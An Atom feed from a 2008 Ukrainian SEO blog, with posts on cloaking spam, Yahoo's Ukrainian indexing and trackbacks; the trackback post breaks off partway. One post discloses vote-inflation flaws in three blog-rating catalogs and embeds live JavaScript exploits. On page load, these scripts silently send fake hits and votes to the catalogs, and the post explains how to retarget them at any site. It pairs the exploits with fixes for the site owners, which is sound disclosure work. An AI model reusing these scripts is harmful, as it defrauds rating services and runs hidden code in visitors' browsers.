<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>seo</title>
  <subtitle>Оптимізація вебсайту для пошукових сервісів</subtitle>
  <link rel="alternate" type="text/html" href="http://my.ukrweb.info/%D1%82%D0%B5%D0%B3%D0%B8-%D1%96-%D0%BA%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D1%96%D1%97/seo"/>
  <link rel="self" type="application/atom+xml" href="http://my.ukrweb.info/taxonomy/term/21/atom/feed"/>
  <id>http://my.ukrweb.info/taxonomy/term/21/atom/feed</id>
  <updated>2008-06-12T03:57:52+03:00</updated>
  <entry>
    <title>Спам - клоакінг</title>
    <link rel="alternate" type="text/html" href="http://my.ukrweb.info/2008/06/4/%D1%81%D0%BF%D0%B0%D0%BC-%D0%BA%D0%BB%D0%BE%D0%B0%D0%BA%D1%96%D0%BD%D0%B3" />
    <id>http://my.ukrweb.info/2008/06/4/%D1%81%D0%BF%D0%B0%D0%BC-%D0%BA%D0%BB%D0%BE%D0%B0%D0%BA%D1%96%D0%BD%D0%B3</id>
    <published>2008-06-05T13:01:03+03:00</published>
    <updated>2008-06-12T03:43:54+03:00</updated>
    <author>
      <name>podarok</name>
    </author>
    <category term="search" />
    <category term="seo" />
    <category term="ua" />
    <category term="webmaster" />
    <category term="безпека" />
    <category term="вебдизайн" />
    <category term="вебмайстер" />
    <category term="спам" />
    <summary type="html"><![CDATA[<p>Клоакінг і з чим його їдять...Привіт страждущим...<br />
Давненько я нічого сюди не писав.. А от сьогодні при пошуку натрапив на веселу і цікаву технологію, про яку раніше писАв, яку використовують іноді "веброзробники" для розкрутки своїх-чужих сайтів...<br />
Технологія дуже гарно випасається пошуковиками, але іноді зустрічається...</p>
<p>Загалом сторінки генеруються в основному чисто випадковим методом з певного набору слів, які часто не несуть важливої інформації, але пошуковиками індексуються і приносять лівих користувачів, що дозволяє задурити голову замовнику, на вебсайт якого линуть кліки....</p>
    ]]></summary>
    <content type="html"><![CDATA[<p>Клоакінг і з чим його їдять...Привіт страждущим...<br />
Давненько я нічого сюди не писав.. А от сьогодні при пошуку натрапив на веселу і цікаву технологію, про яку раніше писАв, яку використовують іноді "веброзробники" для розкрутки своїх-чужих сайтів...<br />
Технологія дуже гарно випасається пошуковиками, але іноді зустрічається...</p>
<p>Загалом сторінки генеруються в основному чисто випадковим методом з певного набору слів, які часто не несуть важливої інформації, але пошуковиками індексуються і приносять лівих користувачів, що дозволяє задурити голову замовнику, на вебсайт якого линуть кліки....<br />
Він(замовник) же не знає, що кліки - ліві і толку від них 0... </p>
<p>Отже приклад...<br />
<a href="/files/cloacking1.png"><img src="/files/cloacking1.png" width="50%" height="50%" alt="Приклад клоакінгу для Ґуґла" title="клоакінг" /></a></p>
<p>Випасається він пошуковиками регулярно і після цього домен потрапляє в спам зону...</p>
<p>Успіху Вам і поменше спаму!</p>
    ]]></content>
  </entry>
  <entry>
    <title>Yahoooooo - почав українізуватись!</title>
    <link rel="alternate" type="text/html" href="http://my.ukrweb.info/2008/03/4/yahoooooo-%D0%BF%D0%BE%D1%87%D0%B0%D0%B2-%D1%83%D0%BA%D1%80%D0%B0%D1%97%D0%BD%D1%96%D0%B7%D1%83%D0%B2%D0%B0%D1%82%D0%B8%D1%81%D1%8C" />
    <id>http://my.ukrweb.info/2008/03/4/yahoooooo-%D0%BF%D0%BE%D1%87%D0%B0%D0%B2-%D1%83%D0%BA%D1%80%D0%B0%D1%97%D0%BD%D1%96%D0%B7%D1%83%D0%B2%D0%B0%D1%82%D0%B8%D1%81%D1%8C</id>
    <published>2008-03-20T13:25:25+02:00</published>
    <updated>2008-06-12T03:46:17+03:00</updated>
    <author>
      <name>podarok</name>
    </author>
    <category term="search" />
    <category term="seo" />
    <category term="ua" />
    <category term="ukrweb" />
    <category term="webmaster" />
    <category term="yahoo" />
    <category term="вебмайстер" />
    <category term="новини" />
    <summary type="html"><![CDATA[<div lang="uk-UA" title="Yahoo ukrainization">Після двохмісячної епопеї з Yahoo Search Crawling Team вони почали працювати в напрямку підтримки Української мови в пошуку. Що із цього вийшо - чатаємо...</div>
<p>&nbsp;Вітання! Насправді дуже хороша новина...</p>
<p>        Після більш ніж 2-х місячної епопеї з&nbsp;<a target="_blank" name="Yahoo українською" lang="en-US" href="http://suggestions.yahoo.com/?prop=SiteExplorer&amp;fid=68945">запитом про підтримку Української</a>&nbsp;до Yahoo - гігант зрушився і почав індексування.</p>
    ]]></summary>
    <content type="html"><![CDATA[<div lang="uk-UA" title="Yahoo ukrainization">Після двохмісячної епопеї з Yahoo Search Crawling Team вони почали працювати в напрямку підтримки Української мови в пошуку. Що із цього вийшо - чатаємо...</div>
<p>&nbsp;Вітання! Насправді дуже хороша новина...<br /><br />
        Після більш ніж 2-х місячної епопеї з&nbsp;<a target="_blank" name="Yahoo українською" lang="en-US" href="http://suggestions.yahoo.com/?prop=SiteExplorer&amp;fid=68945">запитом про підтримку Української</a>&nbsp;до Yahoo - гігант зрушився і почав індексування.</p>
<div class="rtecenter"><a target="_self" href="http://my.ukrweb.info/yahoo#"><img alt="Yahoo. Початок. Сторінки Українською." align="middle" lang="uk-UA" longdesc="http://my.ukrweb.info/yahoo" src="http://my.ukrweb.info/files/yahooooooo-uk.png" /><br /><br />
     </a></div>
<p><a target="_self" href="http://my.ukrweb.info/yahoo#"> <br /><br />
      <br /><br />
      </a>Це дійсно може перерости в непогані перспективи. Як не як - рекламні площі в даного гіганта рівноцінні з гуглем.<br /><br />
      Так що це додаткові бали для фанів монетизації.<br /><br />
З таких змін можна зробити висновок, що створена відповідна група в гіганта для аналізу Українських сторінок. Відповідно до цього було б корисно, щоб ті, хто не полінувався внести коректний код локалізації на своїх вебсайтах відмітився в цих двох тікетах разом із посиланнями на свої сторінки - таким чином можна реально їм допомогти та пришвидшити процес.<br /><br />
</p>
<div class="rtecenter"><a target="_blank" href="http://my.ukrweb.info/yahoo#"><img alt="Yahoo. Українською. Крок наступний!" align="middle" lang="en-US" longdesc="http://my.ukrweb.info/yahoo" width="600" height="397" src="http://my.ukrweb.info/files/yahoo-search-woops.png" /><br /><br />
    </a></div>
<p><a target="_blank" href="http://my.ukrweb.info/yahoo#"> <br type="_moz" /><br />
     </a>Наразі пошуку Українською як такого ще не внесли - процес явно на стадії тестування.<br /><br />
   Для додавання перцю під задниці розробників Yahoo Search я створив відповідний тікет про&nbsp;<a target="_blank" name="Yahoo search in Ukrainian" lang="en-US" href="http://suggestions.yahoo.com/detail/?prop=search&amp;fid=80625">Додавання Опції Пошуку Українською<br /><br />
 </a>Прохання підтримати!<br /><br />
 <br /><br />
 Успіху!</p>
    ]]></content>
  </entry>
  <entry>
    <title>Antitop версія 0.1 (альфа)</title>
    <link rel="alternate" type="text/html" href="http://my.ukrweb.info/2008/03/5/antitop-%D0%B2%D0%B5%D1%80%D1%81%D1%96%D1%8F-01-%D0%B0%D0%BB%D1%8C%D1%84%D0%B0" />
    <id>http://my.ukrweb.info/2008/03/5/antitop-%D0%B2%D0%B5%D1%80%D1%81%D1%96%D1%8F-01-%D0%B0%D0%BB%D1%8C%D1%84%D0%B0</id>
    <published>2008-03-07T00:28:39+02:00</published>
    <updated>2008-06-12T03:48:23+03:00</updated>
    <author>
      <name>podarok</name>
    </author>
    <category term="antitop" />
    <category term="catalog" />
    <category term="html" />
    <category term="IT" />
    <category term="seo" />
    <category term="ua" />
    <category term="ukrweb" />
    <category term="webmaster" />
    <category term="безпека" />
    <category term="вебдизайн" />
    <category term="вебмайстер" />
    <category term="спам" />
    <summary type="html"><![CDATA[<div lang="uk-UA">
Довго вагався чи розпочинати дану серію статей... <br/><br />
Радився з hip та jarofed, та ще з одним партнером.... <br />
І вирішили, що дана серія, при коректному використанні буде корисною для вебсайтів в цілому.
<p>Отже - Рейтинги... Каталоги, Топи, міряння довжиною органів... І тому подібна лабуда...<br/><br />
Загалом - це не лабуда. Аналізувати рейтинговість - це важлива частина будь-якого процесу з багатьма учасниками, а інтернет - саме такий процес. <br/><br />
От тільки аналіз повинен бути якщо не ідеальним, то хоча б наближеним до реальності.<br/></br/></br/></br/></p>
<p></p></br/></div>
    ]]></summary>
    <content type="html"><![CDATA[<div lang="uk-UA">
Довго вагався чи розпочинати дану серію статей... <br/><br />
Радився з hip та jarofed, та ще з одним партнером.... <br />
І вирішили, що дана серія, при коректному використанні буде корисною для вебсайтів в цілому.
<p>Отже - Рейтинги... Каталоги, Топи, міряння довжиною органів... І тому подібна лабуда...<br/><br />
Загалом - це не лабуда. Аналізувати рейтинговість - це важлива частина будь-якого процесу з багатьма учасниками, а інтернет - саме такий процес. <br/><br />
От тільки аналіз повинен бути якщо не ідеальним, то хоча б наближеним до реальності.<br/><br />
З Ваших відгуків буду визначати, чи варто продовжувати аналіз в даному напрямку, а також для "жертв" даного циклу можу запропонувати реальну допомогу в тестуванні та виправленні виявлених помилок.<br/><br />
Коротка преамбула закінчилась...<br/><br />
Сьогодні я буду розповідати про три, нещодавно потрапивших мені під руку каталоги, що мають невелике відношення до Українського інтернету.<br/>
</br/></br/></br/></br/></br/></br/></p></br/></div>
<div class="toc">
<div class="toc-title">Меню 8) сторінки [<a href="#" class="toc-toggle">hide</a>]</div>
<div class="toc-list">
<ol>
<li><a href="#-1">Відмова від відповідальності</a></li>
<li><a href="#topblognetua">top.blog.net.ua</a>
<ol>
<li><a href="#exploit">Проблема в вигляді exploit</a></li>
<li><a href="#-2">Логіка проблеми</a></li>
<li><a href="#-3">І сама проблема</a></li>
<li><a href="#topblognetua-1">Побажання власнику top.blog.net.ua</a></li>
</ol>
</li>
<li><a href="#blogmirnet">blogmir.net</a>
<ol>
<li><a href="#exploit-1">Проблема exploit</a></li>
<li><a href="#-4">Побажання власнику</a></li>
</ol>
</li>
<li><a href="#wwwcatalg2coua">www.catalоg2.co.ua</a>
<ol>
<li><a href="#ExploitDIGG">Exploit ака антиDIGG</a></li>
<li><a href="#-5">Побажання власнику</a></li>
</ol>
</li>
<li><a href="#-6">Висновки</a>
<ol>
<li><a href="#PS">PS</a></li>
</ol>
</li>
</ol>
</div>
</div>
<hr />
<p>Мої вітання...</p>
<h1 id="">Преамбула</h1>
<p>Довго вагався чи розпочинати дану серію статей... <br/><br />
Радився з hip та jarofed, та ще з одним партнером.... <br />
І вирішили, що дана серія, при коректному використанні буде корисною для вебсайтів в цілому.</br/></p>
<p>Отже - Рейтинги... Каталоги, Топи, міряння довжиною органів... І тому подібна лабуда...<br/><br />
Загалом - це не лабуда. Аналізувати рейтинговість - це важлива частина будь-якого процесу з багатьма учасниками, а інтернет - саме такий процес. <br/><br />
От тільки аналіз повинен бути якщо не ідеальним, то хоча б наближеним до реальності.<br/><br />
З Ваших відгуків буду визначати, чи варто продовжувати аналіз в даному напрямку, а також для "жертв" даного циклу можу запропонувати реальну допомогу в тестуванні та виправленні виявлених помилок.<br/><br />
Коротка преамбула закінчилась...<br/><br />
Сьогодні я буду розповідати про три, нещодавно потрапивших мені під руку каталоги, що мають невелике відношення до Українського інтернету.<br/></br/></br/></br/></br/></br/></br/></p>
<h1 id="-1">Відмова від відповідальності</h1>
<p><br/><br />
Я жодним чином не намагаюсь нашкодити цим трьом(і можливо всім наступним) проектам. Навпаки! <br/><br />
Коректне ведення статистики буде відображати більш-менш правильну рейтинговість і дозволить робити +- вірну оцінку сайтам.<br/> Всі коди, що використані в даній статті приховані від очей і їх можна переглянути в сорцях цієї сторінки.<br/><br />
Якщо дана сторінка буде некоректно відображатись - значить власники відповідних сайтів зробили деякі зміни - не лякайтесь - найближчим часом я все поправлю. Можете посприяти мені, підказавши проблему.<br/></br/></br/></br/></br/></br/></p>
<h1 id="topblognetua">top.blog.net.ua</h1>
<p><br/><br />
Даний php скрипт - дуже і дуже популярний в інтернеті. І в світлі знайдених в ньому багів - всі рейтинги, що побудовані на базі нього - <b>некоректні</b>.<br />
Одназу прошу пробачення за наступний блок.<br/></br/></br/></p>
<h2 id="exploit">Проблема в вигляді exploit</h2>
<p>Одразу прошу пробачення за завідомо збій в роботі каталогу. Моя мета - вказана вище. <br/><br />
Нагадую - код в сорцях вебсторінки і в даний момент Ви його виконали 8).(на екрані - результат виконання коду)<br/></br/></br/></p>
<p>&lt;!-- Початок коду, для вставки на своєму вебсайті--></p>
<div align="center" width="640" height="92">
<script language=JavaScript type=text/javascript>
document.write('<a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=499 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=530 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=475 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=503 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=520 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=462 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=532 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=534 /></a><br/><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=465 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=463 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=464 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=456 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=468 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=515 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=485 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=529 /></a><br/><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=493 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=484 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=498 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=504 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=480 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=531 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=489 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=518 /></a><br/><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=510 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=476 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=479 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=487 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=458 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=87 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=103 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=75 /></a><br/><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=79 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=104 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=74 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=90 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=72 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=110 /></a><a target=_blank href=# rel=nofollow><img src=http://top.'+'blo'+'g.net.ua/tracker.php?do=in&id=486 /></a><br/>');
</br/></br/></br/></br/></br/></script></div>
<p>&lt;!--Кінець коду вставки, код не хватають пошуковики!!! --></p>
<p><br/><br />
В цьому блоці, банальний набір коду, який пропонується вставляти кожному користувачеві, що приймає участь в рейтингу. Код частково змінений, для того, щоб його не хватали пошуковики. Для даної статті було обрано сорок блогів, які знаходяться на останній сторінках каталогу - щоб не дуже сильно портити картину для майбутньої роботи даного сервісу.<br/></br/></br/></p>
<h2 id="-2">Логіка проблеми</h2>
<p>Як тільки користувач будь-якого вебсайту, на якому встановлений лічильник заходить на сторінку, де цей лічильник заходиться - автоматично додається +1 до рейтингу вебсайта (в конкретно даному випадку - блога). І все було б добре, але якщо розмістити цей лічильник на іншому вебсайті - кожен з користувачів іншого вебсайту також буде робити +1 до рейтингу...</p>
<h2 id="-3">І сама проблема</h2>
<p>Не перевіряється referrer , з якого відбулось завантаження лічильника. <br/><br />
Ну і що? - скажете Ви.. Кому вигідно вішати чужий лічильник на своєму сайті...<br/><br />
Відповідь - власнику свого ж вебсайта...<br/><br />
Наскільки мені відомо - багато блогерів ведуть по кілька щоденників, роблять кроспостінг в інші відомі блогерські портали, роблять коментарі з допомогою HTML.<br/><br />
Якщо взяти це до уваги - тоді можна робити відповіді в тому ж ЖЖ, і до кожної відповіді вішати свій лічильник, або набір лічильників(приховавши їх в квадратику розміром 1х1 піксель). В результаті рейтинг буде некоректним.<br/></br/></br/></br/></br/></br/></p>
<blockquote><p>Всі блоги, що вішають даний лічильник на своїх ЖЖ - мають конкретно завищений показник, особливо ті, що додані до friend-полос - тоді дуже багато учасників, навіть не читаючи такі повідомлення, - "віддають свій голос" за блог, повідомлення якого вони пропускають</p></blockquote>
<p><br/><br />
Ве було б нічого, але на базі цього рейтингу інші учасники роблять помилкові висновки ( jarofed підтвердить )<br/></br/></br/></p>
<h2 id="topblognetua-1">Побажання власнику top.blog.net.ua</h2>
<p>Додати в код підрахунку хітів та хостів перевірку referrer - там роботи на 2-3 стрічки php коду.<br/></br/></p>
<h1 id="blogmirnet">blogmir.net</h1>
<p>Досить відомий каталог. І функціональність його - на висоті! Дуже часто користуюсь ним для швидкого аналізу pr+technorati. <br/><br />
Більше того, власник в мене взяв інтерв'ю 8))). Керуючись помилковими даними, які я йому підсунув. На жаль - таке життя. <br/><br />
Отже - позиція Вашого блогу напряму залежить від кількості голосів, відданих за Вас. <br/><br />
Поки з каталога переходів на блоги дуже мало - є шанс все поправити.</br/></br/></br/></p>
<h2 id="exploit-1">Проблема exploit</h2>
<p>Накрутка даного голосування - дуже елементарна і також без перевірок та захистів.<br/><br />
Голосування відбувається методами Ajax - банальний GET запит без додаткових перевірок.<br/><br />
Нагадую - код в сорцях вебсторінки і в даний момент Ви його виконали 8).(на екрані - результат виконання коду)<br/><br />
&lt;!--Код для вставки в себе на вебсайті для накрутки лічильника голосів на blogmir.net--></br/></br/></br/></p>
<div align="center" width="640" height="5">
<script language=JavaScript type=text/javascript>
document.write('<object data=http://blog'+'mir.net/toprank.php?lid=3215&vote=plus&_=>http://blog'+'mir.net/from.php?3215</object>');
</script></div>
<p>&lt;!--Кінець коду blogmir.net--></p>
<p>Замість цифри 3215 - вставляєте код будь-якого інснуючого в каталозі, і всі Ваші користувачі "проголосують" за відповідний блог.<br/></br/></p>
<h2 id="-4">Побажання власнику</h2>
<p>Потрібна мабуть або якась мінімальна Captcha, або - javascript event вікно з підтвердженням про голос - тоді шанси накрутити - набагато менші.<br/></br/></p>
<h1 id="wwwcatalg2coua">www.catalоg2.co.ua</h1>
<p>Заявлена вебдванольність - також недосконала. </p>
<h2 id="ExploitDIGG">Exploit ака антиDIGG</h2>
<p>Накрутка також здійснюється елементарно засобами користувачів на будь-якому html вебсайті<br/><br />
Нагадую - код в сорцях вебсторінки і в даний момент Ви його виконали 8).(на екрані - результат виконання коду)<br/></br/></br/></p>
<p>&lt;!--Код для вставки на своєму вебсайті для catalog2.co.ua--></p>
<div align="center" width="640" height="5">
<script language=JavaScript type=text/javascript>
document.write('<object data="http://www.cata'+'log2.co.ua/ch.php?id=50" charset="windows-1251" encoding="windows-1251" lang="ru-RU">.</object>');
</script></div>
<p>&lt;!--Кінець коду--></p>
<p>Замінивши цифру 50 порядковим номером Вашого улюбленого сайту - можна за кілька днів просунути сайт в ТОР.<br/></br/></p>
<h2 id="-5">Побажання власнику</h2>
<p>Загалом - принцип взлому - аналогічний до </p>
<script language=JavaScript type=text/javascript>
document.write('blog'+'mir.net');</script><p>  , тому рекомендації будуть аналогічні.<br/></br/></p>
<h1 id="-6">Висновки</h1>
<p>Думаю тема точно є цікавою для власників даних рейтингових систем. І сумніваюсь, що ці дані були підмічені лише тим, хто був ініціатором даної статті.<br/><br />
Якщо дивитись на сторону користувачів даних сервісів, то можна допустити, що через ймовірні помилки деякі вебсайти програють в нечесній грі іншим. Тому гадаю виправлення помилок потрібне.<br/><br />
Якщо Вас зацікавила дана тематика, то я її можу продовжувати майже постійно, в залежності від надходження даних та від Ваших побажань через відповідну форму <a href="http://my.ukrweb.info/suggestions#">Пропозиції і тематики</a> на даному вебсайті<br/></br/></br/></br/></p>
<p>Код цих exploit - ів буде досить швидко відображено голим текстом, бо існує імовірність підміни його власниками даних сервісів, хоча він побудований так, що для цілісності даних на вебсайті, де він розміщений особливих проблем немає - є лише ймовірність порушення дизайну та відображення саме тої сторінки, на якій він викладений.<br/><br />
Крім того кожен, хто відобразить цей код в себе на вебсайті може закрити його в рамки 1х1 блоку + забезпечити перевірку на зміни.<br/><br />
Успіху Вам, і бажаю здорового скептицизму в аналізі рейтингів в інтернеті.<br/></br/></br/></br/></p>
<h2 id="PS">PS</h2>
<p>Якщо будуть бажаючі - дана тематика буде вестись на сторінках веблогу з певною періодичністю. Повірте - навіть такі лічильники як i.ua, li.ru, mail.ru etcetera - мають аналогічні проблеми. І в Наших силах зробити їх більш актуальними.</p>
    ]]></content>
  </entry>
  <entry>
    <title>TrackBack - прихована технологія спілкування між сайтами...</title>
    <link rel="alternate" type="text/html" href="http://my.ukrweb.info/2008/02/1/trackback-%D0%BF%D1%80%D0%B8%D1%85%D0%BE%D0%B2%D0%B0%D0%BD%D0%B0-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D1%96%D1%8F-%D1%81%D0%BF%D1%96%D0%BB%D0%BA%D1%83%D0%B2%D0%B0%D0%BD%D0%BD%D1%8F-%D0%BC%D1%96%D0%B6-%D1%81%D0%B0%D0%B9%D1%82%D0%B0%D0%BC%D0%B8" />
    <id>http://my.ukrweb.info/2008/02/1/trackback-%D0%BF%D1%80%D0%B8%D1%85%D0%BE%D0%B2%D0%B0%D0%BD%D0%B0-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D1%96%D1%8F-%D1%81%D0%BF%D1%96%D0%BB%D0%BA%D1%83%D0%B2%D0%B0%D0%BD%D0%BD%D1%8F-%D0%BC%D1%96%D0%B6-%D1%81%D0%B0%D0%B9%D1%82%D0%B0%D0%BC%D0%B8</id>
    <published>2008-02-11T13:38:50+02:00</published>
    <updated>2008-06-12T03:43:29+03:00</updated>
    <author>
      <name>podarok</name>
    </author>
    <category term="html" />
    <category term="linkback" />
    <category term="pingback" />
    <category term="refback" />
    <category term="search" />
    <category term="seo" />
    <category term="trackback" />
    <category term="ua" />
    <category term="ukrweb" />
    <category term="webmaster" />
    <category term="xml" />
    <category term="вебдизайн" />
    <category term="вебмайстер" />
    <summary type="html"><![CDATA[<div lang="uk" title="Що таке трекбеки">Створено все це на етапі розвитку інтернету, коли кількість інформації почала зашкалювати рівень можливості відслідковування схожих матеріалів автором. В більшості випадків, написавши деяку статтю, можна бути певним, що в інтернеті схожий матеріал вже викладався.<br/><br />
От і виникла ідея, а чому б не реалізувати можливість, коли після написання певного матеріалу, користуючись спеціально описаною технологією, можна повідомити інших про те, що існує схожий матеріал як продовження того, що вже було.</br/></div>
    ]]></summary>
    <content type="html"><![CDATA[<div lang="uk" title="Що таке трекбеки">Створено все це на етапі розвитку інтернету, коли кількість інформації почала зашкалювати рівень можливості відслідковування схожих матеріалів автором. В більшості випадків, написавши деяку статтю, можна бути певним, що в інтернеті схожий матеріал вже викладався.<br/><br />
От і виникла ідея, а чому б не реалізувати можливість, коли після написання певного матеріалу, користуючись спеціально описаною технологією, можна повідомити інших про те, що існує схожий матеріал як продовження того, що вже було.</br/></div>
<p>&nbsp;Джерела інформації, з яких варто розпочати прочитання даної статті&nbsp;&nbsp;</p>
<p><a lang="en" href="http://www.sixapart.com/pronet/docs/trackback_spec" target="_blank" name="Офіційна специфікація TrackBack" title="Офіційна специфікація TrackBack" type="text/html">www.sixapart.com/pronet/docs/trackback_spec</a> офіційна специфікація TrackBack</p>
<p><a lang="en" href="http://www.lifewiki.net/trackback/" target="_blank" name="TrackBack Wiki група" title="TrackBack Wiki група" type="text/html">www.lifewiki.net/trackback/</a> - по цій адресі можна приєднатись до роробників протоколу, почитати про специфікації та підписатись на конференцію</p>
<p><a lang="en" href="http://www.hixie.ch/specs/pingback/pingback" target="_blank" name="PingBack специфікація" title="PingBack специфікація" type="text/html">www.hixie.ch/specs/pingback/pingback</a> офіційна специфікація PingBack</p>
<p>Також значна кількість інформації присутня на Вікіпедії, але враховуючи &quot;громадський&quot; характер, я не вважаю її стандартом.</p>
<p>Потрібно згадати також про RefBack - ми щодня ним користуємось, бровзаючи інтернет та переходячи із сторінки на сторінку.&nbsp;</p>
<hr width="100%" size="2" />
<p>На днях перегрібав лог премодерації трекбеків і вирішив знизити кількість спаму від них... Можна звичайно вирішити проблему кардинально і вимкнути дану функціональність, але НМД - варто зрозуміти, чому дана технологія така популярна серед спамерів і не в нас.</p>
<p>Не буду казати, щоб Ви ставали спамерами - цього у Вас не вийде з вебсайтами, де увімкнена премодерація або стоять антиспам фільтри на трекбеки.</p>
<p>Буду казати, що вивчаючи технології спаму, можна дуже багато навчитись для власної користі і досвіду роботи.</p>
<p>Скажу, що переглядаючи щодня сотні листів спаму електронної пошти я почав розуміти, яким чином вони(спамери) обходять фільтри антиспаму, в результаті, на листах, що обходять фільтри я не натискаю кнопку - &quot;Спам&quot;, бо таким чином погіршується вибірковість цих фільтрів і вони починають &quot;мітити&quot; корисні листи. Але про це - пізніше.</p>
<p>Сьогодні я намагатимусь описати процес взаємодії між вебсайтами на рівні протоколу XMLRPC, на якому основана технологія trackback.</p>
<p>Створено все це на етапі розвитку інтернету, коли кількість інформації почала зашкалювати рівень можливості відслідковування схожих матеріалів автором. В більшості випадків, написавши деяку статтю, можна бути певним, що в інтернеті схожий матеріал вже викладався.</p>
<p>От і виникла ідея, а чому б не реалізувати можливість, коли після написання певного матеріалу, користуючись спеціально описаною технологією, можна повідомити інших про те, що існує схожий матеріал як продовження того, що вже було.</p>
<p>Але в даної технології також є проблеми.</p>
<ol>
<li>Не всі &quot;старі&quot; вебсайти підтримують &quot;нову&quot; технологію</li>
<li>Небажання співпрацювати в авторів</li>
<li>Відсутність нормальної підтримки від пошуковиків.</li>
<li>Спамери і сайти-паразити.&nbsp;</li>
</ol>
<hr width="100%" size="2" />
<p>Перш, ніж розібратись в кожній з цих проблем - пройдусь по самій технології та офіційних стандартах.</p>
<p>Враховуючи те, що НМД - trackback на сьогодні найбільш розвинута та контрольована технологія формату &quot;ping website&quot;, на неї і буду опиратись.</p>
<p>Отже -&nbsp; <a lang="en-US" title="Специфікація TrackBack" target="_blank" href="http://www.sixapart.com/pronet/docs/trackback_spec">метод.</a></p>
<p>Власник сайту А посилає сайту В HTTP POST запит, в якому описує згідно стандарту головні поля і заголовки інформації про &quot;взаємовідносини&quot; між сайтами.</p>
<pre lang="und" xml:lang="und">POST <a href="http://www.example.com/trackback/5" title="http://www.example.com/trackback/5">http://www.example.com/trackback/5</a><br />    Content-Type: application/x-www-form-urlencoded; charset=utf-8<br />    <br />    title=Стаття+про+трекбеки&amp;url=http://www.example2.com/article/4&amp;excerpt=Коротко+про+технологію+трекбеків<br />    &amp;blog_name=TrackBacks+блог</pre><ol>
<li>Тема - title - назва статті</li>
<li>Посилання - url - адреса, за якою знаходиться стаття</li>
<li>Аннотація - exerpt - необов'язковий параметр</li>
<li>Ім'я вебсайту - blog_name - без коментарів 8).</li>
</ol>
<p>Загалом, кому цікаво - думаю зрозуміли.</p>
<p>Згідно даної технології - рішення про подальшу обробку такого посилання покладається на власника вебсайту, що його прийняв.</p>
<p>Згідно стандарту - власник, що приймає дані POST запити і погоджується на співпрацю повинен в себе на вебсайті викласти спеціальну xml:rdf мітку</p>
<blockquote>
